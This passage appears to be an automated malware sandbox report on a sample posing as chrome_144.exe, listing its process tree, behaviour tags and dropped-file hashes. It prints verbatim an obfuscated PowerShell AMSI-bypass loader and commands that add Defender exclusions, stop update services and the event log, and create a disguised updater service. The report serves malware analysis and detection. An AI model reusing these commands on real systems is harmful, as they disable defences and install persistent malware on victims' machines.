$_.Location.Split('\')[-1].Equals('S'+'y'+''+'s'+''+'t'+''+[Char](101)+''+'m'+''+'.'+'d'+[Char](108)+'l')}).GetType(''+'M'+''+[Char](105)+'c'+[Char](114)+''+'o'+'s'+[Char](111)+''+'f'+'t'+[Char](46)+''+[Char](87)+''+[Char](105)+''+'n'+''+[Char](51)+'2.U'+'n'+''+[Char](115)+'a'+[Char](102)+''+[Char](101)+''+[Char](78)+''+'a'+''+[Char](116)+''+'i'+''+[Char](118)+''+'e'+'Met'+[Char](104)+''+[Char](111)+'d'+[Char](115)+'');$tLWUAGsoKWYEhp=$cOORVSMOYvhas.GetMethod('G'+'e'+''+[Char](116)+''+[Char](80)+''+[Char](114)+''+'o'+''+[Char](99)+''+[Char](65)+''+[Char](100)+''+'d'+''+[Char](114)+''+[Char](101)+''+[Char](115)+''+[Char](115)+'',[Reflection.BindingFlags](''+'P'+'u'+'b'+''+[Char](108)+'i'+[Char](99)+''+','+'S'+[Char](116)+''+[Char](97)+''+[Char](116)+'ic'),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$EZYLqfkcleoZhhwPqhZ=cXhRIgLdmOzi @([String])([IntPtr]);$SIQxPVKezUCPedOcBynZKP=cXhRIgLdmOzi @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$TuMtehSAuoH=$cOORVSMOYvhas.GetMethod(''+[Char](71)+'e'+[Char](116)+'M'+'o'+''+[Char](100)+''+'u'+''+[Char](108)+''+'e'+''+[Char](72)+''+[Char](97)+''+[Char](110)+''+'d'+''+[Char](108)+''+[Char](101)+'').Invoke($Null,@([Object](''+[Char](107)+''+[Char](101)+''+'r'+'ne'+'l'+''+'3'+''+[Char](50)+''+[Char](46)+''+'d'+''+[Char](108)+''+[Char](108)+'')));$ewCDCmUTdIPCLI=$tLWUAGsoKWYEhp.Invoke($Null,@([Object]$TuMtehSAuoH,[Object](''+[Char](76)+''+[Char](111)+''+[Char](97)+''+'d'+'L'+'i'+''+[Char](98)+'r'+[Char](97)+''+'r'+''+'y'+''+'A'+'')));$AvxGIgeJMbJVYVmoU=$tLWUAGsoKWYEhp.Invoke($Null,@([Object]$TuMtehSAuoH,[Object](''+'V'+''+[Char](105)+''+'r'+''+'t'+''+'u'+''+[Char](97)+''+[Char](108)+''+[Char](80)+''+[Char](114)+''+[Char](111)+''+'t'+''+[Char](101)+''+[Char](99)+''+'t'+'')));$YoiZpTT=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ewCDCmUTdIPCLI,$EZYLqfkcleoZhhwPqhZ).Invoke(''+'a'+'msi.'+[Char](100)+''+'l'+''+[Char](108)+'');$eyKXCNbxONrNxATtC=$tLWUAGsoKWYEhp.Invoke($Null,@([Object]$YoiZpTT,[Object](''+'A'+''+'m'+''+'s'+''+[Char](105)+''+[Char](83)+''+[Char](99)+''+[Char](97)+''+'n'+''+'B'+''+'u'+'f'+'f'+''+[Char](101)+''+'r'+'')));$QJtyhggWhn=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($AvxGIgeJMbJVYVmoU,$SIQxPVKezUCPedOcBynZKP).Invoke($eyKXCNbxONrNxATtC,[uint32]8,4,[ref]$QJtyhggWhn);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$eyKXCNbxONrNxATtC,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($AvxGIgeJMbJVYVmoU,$SIQxPVKezUCPedOcBynZKP).Invoke($eyKXCNbxONrNxATtC,[uint32]8,0x20,[ref]$QJtyhggWhn);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+'S'+'O'+[Char](70)+''+'T'+''+'W'+''+[Char](65)+'R'+[Char](69)+'').GetValue(''+[Char](100)+''+[Char](105)+''+[Char](97)+'l'+[Char](101)+''+[Char](114)+''+[Char](115)+''+[Char](116)+''+'a'+''+[Char](103)+''+[Char](101)+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1656 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵PID:3848
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:ZsJcrZALoDkV{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$vrwlfBcSNTFOEN,[Parameter(Position=1)][Type]$QaNGygwFXJ)$RjUwxrVUQpA=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+'R'+''+'e'+'f'+[Char](108)+'e'+[Char](99)+''+[Char](116)+''+'e'+'d'+[Char](68)+''+[Char](101)+''+'l'+''+[Char](101)+''+[Char](103)+''+[Char](97)+'t'+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+''+[Char](110)+''+[Char](77)+''+[Char](101)+''+[Char](109)+'o'+'r'+''+[Char](121)+''+[Char](77)+'od'+[Char](117)+'l'+[Char](101)+'',$False).DefineType('M'+'y'+'D'+[Char](101)+''+[Char](108)+'eg'+[Char](97)+'te'+'T'+''+[Char](121)+''+'p'+''+'e'+'',''+'C'+''+[Char](108)+''+[Char](97)+''+[Char](115)+''+[Char](115)+''+[Char](44)+'P'+[Char](117)+''+[Char](98)+'l'+[Char](105)+''+'c'+''+','+'S'+[Char](101)+'a'+[Char](108)+''+[Char](101)+'d'+','+''+'A'+'n'+'s'+'i'+[Char](67)+'l'+[Char](97)+''+[Char](115)+''+[Char](115)+''+[Char](44)+''+[Char](65)+'ut'+'o'+'Cl'+'a'+''+[Char](115)+''+[Char](115)+'',[MulticastDelegate]);$RjUwxrVUQpA.DefineConstructor(''+[Char](82)+''+[Char](84)+''+[Char](83)+''+[Char](112)+''+[Char](101)+''+[Char](99)+''+[Char](105)+''+'a'+'l'+'N'+''+[Char](97)+''+[Char](109)+''+'e'+''+[Char](44)+''+'H'+''+[Char](105)+''+[Char](100)+''+[Char](101)+''+'B'+''+[Char](121)+''+[Char](83)+''+[Char](105)+''+[Char](103)+''+','+''+[Char](80)+''+'u'+''+[Char](98)+''+[Char](108)+''+[Char](105)+''+[Char](99)+'',[Reflection.CallingConventions]::Standard,$vrwlfBcSNTFOEN).SetImplementationFlags(''+[Char](82)+''+[Char](117)+''+[Char](110)+''+'t'+'i'+'m'+''+[Char](101)+''+','+'M'+[Char](97)+''+'n'+'a'+[Char](103)+'e'+[Char](100)+'');$RjUwxrVUQpA.DefineMethod(''+[Char](73)+''+[Char](110)+''+'v'+'o'+'k'+'e',''+'P'+''+'u'+'bli'+[Char](99)+''+','+''+[Char](72)+''+[Char](105)+'de'+'B'+''+[Char](121)+''+'S'+''+[Char](105)+''+[Char](103)+''+[Char](44)+''+[Char](78)+''+'e'+''+'w'+''+[Char](83)+''+'l'+'o'+[Char](116)+''+[Char](44)+'V'+[Char](105)+'r'+[Char](116)+''+[Char](117)+'a'+[Char](108)+'',$QaNGygwFXJ,$vrwlfBcSNTFOEN).SetImplementationFlags(''+[Char](82)+''+[Char](117)+''+'n'+''+'t'+''+[Char](105)+''+[Char](109)+''+'e'+''+[Char](44)+''+[Char](77)+''+[Char](97)+'n'+[Char](97)+''+'g'+''+[Char](101)+''+'d'+'');Write-Output $RjUwxrVUQpA.CreateType();}$vjJmCGzkdTBCA=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+''+[Char](121)+'st'+[Char](101)+''+[Char](109)+'.'+[Char](100)+''+[Char](108)+'l')}).GetType(''+'M'+'icr'+'o'+''+[Char](115)+''+'o'+''+[Char](102)+'t'+'.'+''+[Char](87)+'in'+'3'+''+[Char](50)+''+[Char](46)+''+'U'+'n'+[Char](115)+'a'+[Char](102)+'e'+'N'+''+[Char](97)+'t'+[Char](105)+''+[Char](118)+'e'+'M'+''+[Char](101)+'t'+[Char](104)+''+'o'+''+[Char](100)+''+[Char](115)+'');$WiEROxDgHVecaA=$vjJmCGzkdTBCA.GetMethod(''+[Char](71)+'e'+[Char](116)+''+'P'+''+[Char](114)+'ocAdd'+[Char](114)+''+[Char](101)+'s'+'s'+'',[Reflection.BindingFlags]('Pu'+'b'+''+[Char](108)+''+'i'+''+[Char](99)+''+[Char](44)+''+[Char](83)+''+[Char](116)+''+[Char](97)+''+[Char](116)+''+[Char](105)+'c'),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$fRjSHPCjqHFGijdzvxc=ZsJcrZALoDkV @([String])([IntPtr]);$fAjqFMeFEAooWfJGrovreE=ZsJcrZALoDkV @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$pmgWSTULQwp=$vjJmCGzkdTBCA.GetMethod(''+[Char](71)+''+'e'+''+[Char](116)+''+'M'+''+[Char](111)+''+'d'+''+[Char](117)+''+'l'+''+'e'+'Hand'+[Char](108)+''+'e'+'').Invoke($Null,@([Object](''+[Char](107)+'er'+[Char](110)+''+[Char](101)+''+'l'+'3'+[Char](50)+''+[Char](46)+''+[Char](100)+''+[Char](108)+''+[Char](108)+'')));$VBserFRZfbmlVr=$WiEROxDgHVecaA.Invoke($Null,@([Object]$pmgWSTULQwp,[Object](''+[Char](76)+''+'o'+'a'+'d'+''+'L'+''+[Char](105)+''+[Char](98)+''+[Char](114)+''+[Char](97)+''+[Char](114)+''+[Char](121)+''+'A'+'')));$fbodJrNAxqvudjziv=$WiEROxDgHVecaA.Invoke($Null,@([Object]$pmgWSTULQwp,[Object](''+'V'+''+'i'+''+'r'+''+'t'+''+[Char](117)+'a'+[Char](108)+'P'+'r'+''+[Char](111)+'t'+'e'+''+[Char](99)+''+[Char](116)+'')));$iwgidoI=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VBserFRZfbmlVr,$fRjSHPCjqHFGijdzvxc).Invoke(''+'a'+''+[Char](109)+''+[Char](115)+''+[Char](105)+''+[Char](46)+''+'d'+''+[Char](108)+''+[Char](108)+'');$HobMILbRshGfFOWDX=$WiEROxDgHVecaA.Invoke($Null,@([Object]$iwgidoI,[Object]('Am'+[Char](115)+''+[Char](105)+''+'S'+'c'+'a'+''+'n'+''+[Char](66)+''+[Char](117)+''+[Char](102)+''+'f'+'e'+'r'+'')));$qRObYEcxgP=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($fbodJrNAxqvudjziv,$fAjqFMeFEAooWfJGrovreE).Invoke($HobMILbRshGfFOWDX,[uint32]8,4,[ref]$qRObYEcxgP);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$HobMILbRshGfFOWDX,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($fbodJrNAxqvudjziv,$fAjqFMeFEAooWfJGrovreE).Invoke($HobMILbRshGfFOWDX,[uint32]8,0x20,[ref]$qRObYEcxgP);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+'O'+[Char](70)+'T'+[Char](87)+''+'A'+''+[Char](82)+'E').GetValue('d'+[Char](105)+''+[Char](97)+''+'l'+'e'+[Char](114)+''+[Char](115)+''+[Char](116)+''+[Char](97)+'g'+[Char](101)+''+'r'+'')).EntryPoint.Invoke($Null,$Null)"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:2432 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵PID:1552
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s nsi1⤵PID:1252
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netprofm -p -s netprofm1⤵PID:1332
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc1⤵PID:1504
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc1⤵PID:1540
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem1⤵PID:1660
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s Themes1⤵PID:1676
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager1⤵PID:1688
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C:\Windows\system32\sihost.exesihost.exe2⤵PID:2256
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s SENS1⤵PID:1836
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder1⤵PID:1880
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p1⤵PID:1892
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:1972
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp1⤵PID:2008
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:616
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:1240
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection1⤵PID:2072
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository1⤵PID:2100
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C:\Windows\System32\spoolsv.exeC:\Windows\System32\spoolsv.exe1⤵PID:2132
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation1⤵PID:2280
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent1⤵PID:2496
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT1⤵PID:2504
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p1⤵PID:2540
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer1⤵PID:2576
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks1⤵PID:2636
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2648
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService1⤵PID:2660
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc1⤵PID:2780
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc1⤵PID:2440
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
PID:3092 -
C:\Users\Admin\AppData\Local\Temp\chrome_144.exe"C:\Users\Admin\AppData\Local\Temp\chrome_144.exe"2⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Drops file in Drivers directory
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Drops file in System32 directory
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2016 -
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2160
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart3⤵
- Suspicious use of WriteProcessMemory
PID:700 -
C:\Windows\system32\wusa.exewusa /uninstall /kb:890830 /quiet /norestart4⤵PID:1772
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop UsoSvc3⤵
- Launches sc.exe
PID:2040
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop WaaSMedicSvc3⤵
- Launches sc.exe
PID:2412
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop wuauserv3⤵
- Launches sc.exe
PID:3560
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop bits3⤵
- Launches sc.exe
PID:1764
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop dosvc3⤵
- Launches sc.exe
PID:2356
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 03⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:1100
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 03⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:1588
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-ac 03⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:1400
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-dc 03⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:2084
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C:\Windows\system32\dialer.exeC:\Windows\system32\dialer.exe3⤵PID:3304
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe delete "GoogleUpdateTaskMachineQC"3⤵
- Launches sc.exe
PID:3900
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe create "GoogleUpdateTaskMachineQC" binpath= "C:\ProgramData\Google\Chrome\updater.exe" start= "auto"3⤵
- Launches sc.exe
PID:4620
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop eventlog3⤵
- Launches sc.exe
PID:3032
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe start "GoogleUpdateTaskMachineQC"3⤵
- Launches sc.exe
PID:1936 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV14⤵PID:2192
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc1⤵PID:3224
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo1⤵PID:3260
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:3572
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:3648
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C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}1⤵PID:3736
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k UdkSvcGroup -s UdkUserSvc1⤵PID:3756
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k osprivacy -p -s camsvc1⤵PID:3252
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C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{973D20D7-562D-44B9-B70B-5A0F49CCDF3F}1⤵PID:4112
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc1⤵PID:2588
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc1⤵PID:3920
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc1⤵
- Modifies data under HKEY_USERS
PID:2428
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C:\Windows\system32\SppExtComObj.exeC:\Windows\system32\SppExtComObj.exe -Embedding1⤵PID:4940
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager1⤵PID:4404
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C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:5104
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C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}1⤵PID:2004
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc1⤵PID:2188
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C:\ProgramData\Google\Chrome\updater.exeC:\ProgramData\Google\Chrome\updater.exe1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Drops file in Drivers directory
- Checks BIOS information in registry
- Executes dropped EXE
- Checks whether UAC is enabled
- Drops file in System32 directory
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
PID:2096 -
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3220 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵PID:1384
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart2⤵PID:3140
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C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵PID:1420
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C:\Windows\system32\wusa.exewusa /uninstall /kb:890830 /quiet /norestart3⤵PID:3332
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop UsoSvc2⤵
- Launches sc.exe
PID:4956
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop WaaSMedicSvc2⤵
- Launches sc.exe
PID:1300
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop wuauserv2⤵
- Launches sc.exe
PID:2488
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop bits2⤵
- Launches sc.exe
PID:3212
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop dosvc2⤵
- Launches sc.exe
PID:1052 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵PID:2108
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:3844 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵PID:1564
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:1992
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-ac 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:1740
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-dc 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:4504 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵PID:2144
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C:\Windows\system32\dialer.exeC:\Windows\system32\dialer.exe2⤵PID:4164
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C:\Windows\system32\dialer.exeC:\Windows\system32\dialer.exe2⤵PID:4936
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C:\Windows\system32\dialer.exedialer.exe2⤵
- Suspicious use of AdjustPrivilegeToken
PID:2392
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C:\Windows\system32\wbem\wmiprvse.exeC:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding1⤵
- Checks processor information in registry
PID:2916
Network
MITRE ATT&CK Enterprise v16
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Downloads
- Path C:\ProgramData\Google\Chrome\updater.exe
- Size 8.3MB
- SHA256 3d3a49ebbfeb9467d72b94448c8709d4eb616ec9bab5647122f0f98aa983f67f
- MD5 6b20fd11a6ef679db3272652e1a4a9b3
- SHA1 e326314c2f59f821dd08d740f068472abd3e5b36
- SHA512 969ed8f2620f12a5104501a96a530a77262282a6dfb9ed2767aa6f8c30d52d23f6ae41cc46bda79fd771e10014a0444b025adb9df3c1435cc1ac4c7dc817dfce
- SSDEEP 196608:shhwWuHTAYhnVDMKmjnmxMTvjU9kpAt5sh3Dc:mkAwMK4dU9wAtqD
- TLSH T1DC9633D8589724F6FAC9DFFA45DA8E2EE4277B03C5093209610FADBB87910CB7070665
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_g22e0ib3.xw2.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- TLSH T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
- MD5 SHA1 SHA512 TLSH
- Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
- Size 2KB
- SHA256 d69b7d84970cb04cd069299fd8aa9cef8394999588bead979104dc3cb743b4f2
- MD5 5f4c933102a824f41e258078e34165a7
- SHA1 d2f9e997b2465d3ae7d91dad8d99b77a2332b6ee
- SHA512 a7556b2be1a69dbc1f7ff4c1c25581a28cb885c7e1116632c535fee5facaa99067bcead8f02499980f1d999810157d0fc2f9e45c200dee7d379907ef98a6f034
- TLSH T15651CF323375B1D489163F07192C59C463BF8355FA94AF4CB698624ED92700B9F222F3
- MD5 SHA1 SHA512 TLSH
- Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 1KB
- SHA256 1dd0d2e4663e18184181b63df229dc86c56b2e52cd2cfd8a8bb1590e720a69ca
- MD5 6ac70cc97403dc21deee7e752466f614
- SHA1 0ada9639fc25d4956164dec32628181e8834fe1f
- SHA512 65279ddec7c590735e37d948896b1439cd070632b7c776d1f56358fd7fe93fecf59aeee0593db8bce401b1189c6959753155f15f7857c53b4fe36326d9200320
- TLSH T135117A33B79CC1B5C8D9157A1089AD01B2B6C3CB049EDECB7A84C508E57F989DF641A4
- MD5 SHA1 SHA512 TLSH
- Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 1KB
- SHA256 fb485201330a5ca14dc2d7a80ecf88b5c9e53d59929f9234c3ccf7548e2fe73f
- MD5 d457c1f4bc93b922760f898f5ee33a51
- SHA1 73b3a14397cddbaf0f61cf73df084973e2d781f1
- SHA512 84f2942c741f0034f4c83cc58350d8c63e150b1bf02c2c65e07ee2f259dd5679b2e318faec233d2be6e5d4ce67ce7b56725dd4ab4a3186aef34d62da35bcff17
- TLSH T12D218633B7ACC235C8D911BA208CAD01B2B5C3C7449ECE8B7B84C518A57F99ADB645E4
- MD5 SHA1 SHA512 TLSH
- Path C:\Windows\system32\drivers\etc\hosts
- Size 3KB
- SHA256 eda1aae2c8fce700e3bdbe0186cf3db88400cf0ac13ec736e84dacba61628a01
- MD5 00930b40cba79465b7a38ed0449d1449
- SHA1 4b25a89ee28b20ba162f23772ddaf017669092a5
- SHA512 cbe4760ec041e7da7ab86474d5c82969cfccb8ccc5dbdac9436862d5b1b86210ab90754d3c8da5724176570d8842e57a716a281acba8719e90098a6f61a17c62
- TLSH T1E451521E460491EC22B1C199C46FAA1DE34EB0F705DBC9CD798DC7DE27B197822D32A6
- MD5 SHA1 SHA512 TLSH